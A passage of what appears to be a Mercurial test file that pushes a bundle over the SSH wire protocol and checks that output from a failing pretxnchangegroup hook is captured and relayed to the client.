708 699 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
709 700 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
710 701 i> \x00\x00\x00\x00\x00\x00\x00\x00
711 702 i> write(2) -> 2:
712 703 i> 0\n
713 704 i> flush() -> None
714 705 o> readline() -> 2:
715 706 o> 0\n
716 707 o> readline() -> 2:
717 708 o> 1\n
718 709 o> read(1) -> 1: 0
719 710 result: 0
720 711 remote output:
721 o> read(-1) -> 0:
722 712 e> read(-1) -> 206:
723 713 e> adding changesets\n
724 714 e> adding manifests\n
725 715 e> adding file changes\n
726 716 e> added 1 changesets with 1 changes to 1 files\n
727 717 e> ui.write 1st\n
728 718 e> ui.write 2nd\n
729 719 e> transaction abort!\n
730 720 e> rollback completed\n
731 721 e> abort: pretxnchangegroup.fail hook failed\n
732 722
733 723 ui.write() + ui.write_err() output is captured
734 724
735 725 $ cat > .hg/hgrc << EOF
736 726 > [hooks]
737 727 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookwriteandwriteerr
738 728 > EOF
739 729
740 730 $ debugwireproto << EOF
741 731 > command unbundle
742 732 > # This is "force" in hex.
743 733 > heads 666f726365
744 734 > PUSHFILE ../initial.v1.hg
745 735 > readavailable
746 736 > EOF
747 737 testing ssh1
748 738 creating ssh peer from handshake results
749 739 i> write(104) -> 104:
750 740 i> hello\n
751 741 i> between\n
752 742 i> pairs 81\n
753 743 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
754 744 i> flush() -> None
755 745 o> readline() -> 4:
756 746 o> 413\n
757 747 o> readline() -> 413:
758 748 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
759 749 o> readline() -> 2:
760 750 o> 1\n
761 751 o> readline() -> 1:
762 752 o> \n
763 753 sending unbundle command
764 754 i> write(9) -> 9:
765 755 i> unbundle\n
766 756 i> write(9) -> 9:
767 757 i> heads 10\n
768 758 i> write(10) -> 10: 666f726365
769 759 i> flush() -> None
770 760 o> readline() -> 2:
771 761 o> 0\n
772 762 i> write(4) -> 4:
773 763 i> 426\n
774 764 i> write(426) -> 426:
775 765 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
776 766 i> test\n
777 767 i> 0 0\n
778 768 i> foo\n
779 769 i> \n
780 770 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
781 771 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
782 772 i> \x00\x00\x00\x00\x00\x00\x00\x00
783 773 i> write(2) -> 2:
784 774 i> 0\n
785 775 i> flush() -> None
786 776 o> readline() -> 2:
787 777 o> 0\n
788 778 o> readline() -> 2:
789 779 o> 1\n
790 780 o> read(1) -> 1: 0
791 781 result: 0
792 782 remote output:
793 o> read(-1) -> 0:
794 783 e> read(-1) -> 232:
795 784 e> adding changesets\n
796 785 e> adding manifests\n
797 786 e> adding file changes\n
798 787 e> added 1 changesets with 1 changes to 1 files\n
799 788 e> ui.write 1\n
800 789 e> ui.write_err 1\n
801 790 e> ui.write 2\n
802 791 e> ui.write_err 2\n
803 792 e> transaction abort!\n
804 793 e> rollback completed\n
805 794 e> abort: pretxnchangegroup.fail hook failed\n
806 795
807 796 testing ssh2
808 797 creating ssh peer from handshake results
809 798 i> write(171) -> 171:
810 799 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
811 800 i> hello\n
812 801 i> between\n
813 802 i> pairs 81\n
814 803 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
815 804 i> flush() -> None
816 805 o> readline() -> 62:
817 806 o> upgraded * exp-ssh-v2-0001\n (glob)
818 807 o> readline() -> 4:
819 808 o> 412\n
820 809 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
821 810 o> read(1) -> 1:
822 811 o> \n
823 812 sending unbundle command
824 813 i> write(9) -> 9:
825 814 i> unbundle\n
826 815 i> write(9) -> 9:
827 816 i> heads 10\n
828 817 i> write(10) -> 10: 666f726365
829 818 i> flush() -> None
830 819 o> readline() -> 2:
831 820 o> 0\n
832 821 i> write(4) -> 4:
833 822 i> 426\n
834 823 i> write(426) -> 426:
835 824 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
836 825 i> test\n
837 826 i> 0 0\n
838 827 i> foo\n
839 828 i> \n
840 829 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
841 830 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
842 831 i> \x00\x00\x00\x00\x00\x00\x00\x00
843 832 i> write(2) -> 2:
844 833 i> 0\n
845 834 i> flush() -> None
846 835 o> readline() -> 2:
847 836 o> 0\n
848 837 o> readline() -> 2:
849 838 o> 1\n
850 839 o> read(1) -> 1: 0
851 840 result: 0
852 841 remote output:
853 o> read(-1) -> 0:
854 842 e> read(-1) -> 232:
855 843 e> adding changesets\n
856 844 e> adding manifests\n
857 845 e> adding file changes\n
858 846 e> added 1 changesets with 1 changes to 1 files\n
859 847 e> ui.write 1\n
860 848 e> ui.write_err 1\n
861 849 e> ui.write 2\n
862 850 e> ui.write_err 2\n
863 851 e> transaction abort!\n
864 852 e> rollback completed\n
865 853 e> abort: pretxnchangegroup.fail hook failed\n
866 854
867 855 print() output is captured
868 856
869 857 $ cat > .hg/hgrc << EOF
870 858 > [hooks]
871 859 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookprintstdout
872 860 > EOF
873 861
874 862 $ debugwireproto << EOF
875 863 > command unbundle
876 864 > # This is "force" in hex.
877 865 > heads 666f726365
878 866 > PUSHFILE ../initial.v1.hg
879 867 > readavailable
880 868 > EOF
881 869 testing ssh1
882 870 creating ssh peer from handshake results
883 871 i> write(104) -> 104:
884 872 i> hello\n
885 873 i> between\n
886 874 i> pairs 81\n
887 875 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
888 876 i> flush() -> None
889 877 o> readline() -> 4:
890 878 o> 413\n
891 879 o> readline() -> 413:
892 880 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
893 881 o> readline() -> 2:
894 882 o> 1\n
895 883 o> readline() -> 1:
896 884 o> \n
897 885 sending unbundle command
898 886 i> write(9) -> 9:
899 887 i> unbundle\n
900 888 i> write(9) -> 9:
901 889 i> heads 10\n
902 890 i> write(10) -> 10: 666f726365
903 891 i> flush() -> None
904 892 o> readline() -> 2:
905 893 o> 0\n
906 894 i> write(4) -> 4:
907 895 i> 426\n
908 896 i> write(426) -> 426:
909 897 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
910 898 i> test\n
911 899 i> 0 0\n
912 900 i> foo\n
913 901 i> \n
914 902 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
915 903 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
916 904 i> \x00\x00\x00\x00\x00\x00\x00\x00
917 905 i> write(2) -> 2:
918 906 i> 0\n
919 907 i> flush() -> None
920 908 o> readline() -> 2:
921 909 o> 0\n
922 910 o> readline() -> 2:
923 911 o> 1\n
924 912 o> read(1) -> 1: 0
925 913 result: 0
926 914 remote output:
927 o> read(-1) -> 0:
928 915 e> read(-1) -> 193:
929 916 e> adding changesets\n
930 917 e> adding manifests\n
931 918 e> adding file changes\n
932 919 e> added 1 changesets with 1 changes to 1 files\n
933 920 e> printed line\n
934 921 e> transaction abort!\n
935 922 e> rollback completed\n
936 923 e> abort: pretxnchangegroup.fail hook failed\n
937 924
938 925 testing ssh2
939 926 creating ssh peer from handshake results
940 927 i> write(171) -> 171:
941 928 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
942 929 i> hello\n
943 930 i> between\n
944 931 i> pairs 81\n
945 932 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
946 933 i> flush() -> None
947 934 o> readline() -> 62:
948 935 o> upgraded * exp-ssh-v2-0001\n (glob)
949 936 o> readline() -> 4:
950 937 o> 412\n
951 938 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
952 939 o> read(1) -> 1:
953 940 o> \n
954 941 sending unbundle command
955 942 i> write(9) -> 9:
956 943 i> unbundle\n
957 944 i> write(9) -> 9:
958 945 i> heads 10\n
959 946 i> write(10) -> 10: 666f726365
960 947 i> flush() -> None
961 948 o> readline() -> 2:
962 949 o> 0\n
963 950 i> write(4) -> 4:
964 951 i> 426\n
965 952 i> write(426) -> 426:
966 953 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
967 954 i> test\n
968 955 i> 0 0\n
969 956 i> foo\n
970 957 i> \n
971 958 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
972 959 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
973 960 i> \x00\x00\x00\x00\x00\x00\x00\x00
974 961 i> write(2) -> 2:
975 962 i> 0\n
976 963 i> flush() -> None
977 964 o> readline() -> 2:
978 965 o> 0\n
979 966 o> readline() -> 2:
980 967 o> 1\n
981 968 o> read(1) -> 1: 0
982 969 result: 0
983 970 remote output:
984 o> read(-1) -> 0:
985 971 e> read(-1) -> 193:
986 972 e> adding changesets\n
987 973 e> adding manifests\n
988 974 e> adding file changes\n
989 975 e> added 1 changesets with 1 changes to 1 files\n
990 976 e> printed line\n
991 977 e> transaction abort!\n
992 978 e> rollback completed\n
993 979 e> abort: pretxnchangegroup.fail hook failed\n
994 980
995 981 Mixed print() and ui.write() are both captured
996 982
997 983 $ cat > .hg/hgrc << EOF
998 984 > [hooks]
999 985 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookprintandwrite
1000 986 > EOF
1001 987
1002 988 $ debugwireproto << EOF
1003 989 > command unbundle
1004 990 > # This is "force" in hex.
1005 991 > heads 666f726365
1006 992 > PUSHFILE ../initial.v1.hg
1007 993 > readavailable
1008 994 > EOF
1009 995 testing ssh1
1010 996 creating ssh peer from handshake results
1011 997 i> write(104) -> 104:
1012 998 i> hello\n
1013 999 i> between\n
1014 1000 i> pairs 81\n
1015 1001 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1016 1002 i> flush() -> None
1017 1003 o> readline() -> 4:
1018 1004 o> 413\n
1019 1005 o> readline() -> 413:
1020 1006 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1021 1007 o> readline() -> 2:
1022 1008 o> 1\n
1023 1009 o> readline() -> 1:
1024 1010 o> \n
1025 1011 sending unbundle command
1026 1012 i> write(9) -> 9:
1027 1013 i> unbundle\n
1028 1014 i> write(9) -> 9:
1029 1015 i> heads 10\n
1030 1016 i> write(10) -> 10: 666f726365
1031 1017 i> flush() -> None
1032 1018 o> readline() -> 2:
1033 1019 o> 0\n
1034 1020 i> write(4) -> 4:
1035 1021 i> 426\n
1036 1022 i> write(426) -> 426:
1037 1023 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1038 1024 i> test\n
1039 1025 i> 0 0\n
1040 1026 i> foo\n
1041 1027 i> \n
1042 1028 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1043 1029 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1044 1030 i> \x00\x00\x00\x00\x00\x00\x00\x00
1045 1031 i> write(2) -> 2:
1046 1032 i> 0\n
1047 1033 i> flush() -> None
1048 1034 o> readline() -> 2:
1049 1035 o> 0\n
1050 1036 o> readline() -> 2:
1051 1037 o> 1\n
1052 1038 o> read(1) -> 1: 0
1053 1039 result: 0
1054 1040 remote output:
1055 o> read(-1) -> 0:
1056 1041 e> read(-1) -> 218:
1057 1042 e> adding changesets\n
1058 1043 e> adding manifests\n
1059 1044 e> adding file changes\n
1060 1045 e> added 1 changesets with 1 changes to 1 files\n
1061 1046 e> print 1\n
1062 1047 e> ui.write 1\n
1063 1048 e> print 2\n
1064 1049 e> ui.write 2\n
1065 1050 e> transaction abort!\n
1066 1051 e> rollback completed\n
1067 1052 e> abort: pretxnchangegroup.fail hook failed\n
1068 1053
1069 1054 testing ssh2
1070 1055 creating ssh peer from handshake results
1071 1056 i> write(171) -> 171:
1072 1057 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1073 1058 i> hello\n
1074 1059 i> between\n
1075 1060 i> pairs 81\n
1076 1061 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1077 1062 i> flush() -> None
1078 1063 o> readline() -> 62:
1079 1064 o> upgraded * exp-ssh-v2-0001\n (glob)
1080 1065 o> readline() -> 4:
1081 1066 o> 412\n
1082 1067 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
1083 1068 o> read(1) -> 1:
1084 1069 o> \n
1085 1070 sending unbundle command
1086 1071 i> write(9) -> 9:
1087 1072 i> unbundle\n
1088 1073 i> write(9) -> 9:
1089 1074 i> heads 10\n
1090 1075 i> write(10) -> 10: 666f726365
1091 1076 i> flush() -> None
1092 1077 o> readline() -> 2:
1093 1078 o> 0\n
1094 1079 i> write(4) -> 4:
1095 1080 i> 426\n
1096 1081 i> write(426) -> 426:
1097 1082 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1098 1083 i> test\n
1099 1084 i> 0 0\n
1100 1085 i> foo\n
1101 1086 i> \n
1102 1087 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1103 1088 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1104 1089 i> \x00\x00\x00\x00\x00\x00\x00\x00
1105 1090 i> write(2) -> 2:
1106 1091 i> 0\n
1107 1092 i> flush() -> None
1108 1093 o> readline() -> 2:
1109 1094 o> 0\n
1110 1095 o> readline() -> 2:
1111 1096 o> 1\n
1112 1097 o> read(1) -> 1: 0
1113 1098 result: 0
1114 1099 remote output:
1115 o> read(-1) -> 0:
1116 1100 e> read(-1) -> 218:
1117 1101 e> adding changesets\n
1118 1102 e> adding manifests\n
1119 1103 e> adding file changes\n
1120 1104 e> added 1 changesets with 1 changes to 1 files\n
1121 1105 e> print 1\n
1122 1106 e> ui.write 1\n
1123 1107 e> print 2\n
1124 1108 e> ui.write 2\n
1125 1109 e> transaction abort!\n
1126 1110 e> rollback completed\n
1127 1111 e> abort: pretxnchangegroup.fail hook failed\n
1128 1112
1129 1113 print() to stdout and stderr both get captured
1130 1114
1131 1115 $ cat > .hg/hgrc << EOF
1132 1116 > [hooks]
1133 1117 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookprintstderrandstdout
1134 1118 > EOF
1135 1119
1136 1120 $ debugwireproto << EOF
1137 1121 > command unbundle
1138 1122 > # This is "force" in hex.
1139 1123 > heads 666f726365
1140 1124 > PUSHFILE ../initial.v1.hg
1141 1125 > readavailable
1142 1126 > EOF
1143 1127 testing ssh1
1144 1128 creating ssh peer from handshake results
1145 1129 i> write(104) -> 104:
1146 1130 i> hello\n
1147 1131 i> between\n
1148 1132 i> pairs 81\n
1149 1133 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1150 1134 i> flush() -> None
1151 1135 o> readline() -> 4:
1152 1136 o> 413\n
1153 1137 o> readline() -> 413:
1154 1138 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1155 1139 o> readline() -> 2:
1156 1140 o> 1\n
1157 1141 o> readline() -> 1:
1158 1142 o> \n
1159 1143 sending unbundle command
1160 1144 i> write(9) -> 9:
1161 1145 i> unbundle\n
1162 1146 i> write(9) -> 9:
1163 1147 i> heads 10\n
1164 1148 i> write(10) -> 10: 666f726365
1165 1149 i> flush() -> None
1166 1150 o> readline() -> 2:
1167 1151 o> 0\n
1168 1152 i> write(4) -> 4:
1169 1153 i> 426\n
1170 1154 i> write(426) -> 426:
1171 1155 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1172 1156 i> test\n
1173 1157 i> 0 0\n
1174 1158 i> foo\n
1175 1159 i> \n
1176 1160 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1177 1161 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1178 1162 i> \x00\x00\x00\x00\x00\x00\x00\x00
1179 1163 i> write(2) -> 2:
1180 1164 i> 0\n
1181 1165 i> flush() -> None
1182 1166 o> readline() -> 2:
1183 1167 o> 0\n
1184 1168 o> readline() -> 2:
1185 1169 o> 1\n
1186 1170 o> read(1) -> 1: 0
1187 1171 result: 0
1188 1172 remote output:
1189 o> read(-1) -> 0:
1190 1173 e> read(-1) -> 216:
1191 1174 e> adding changesets\n
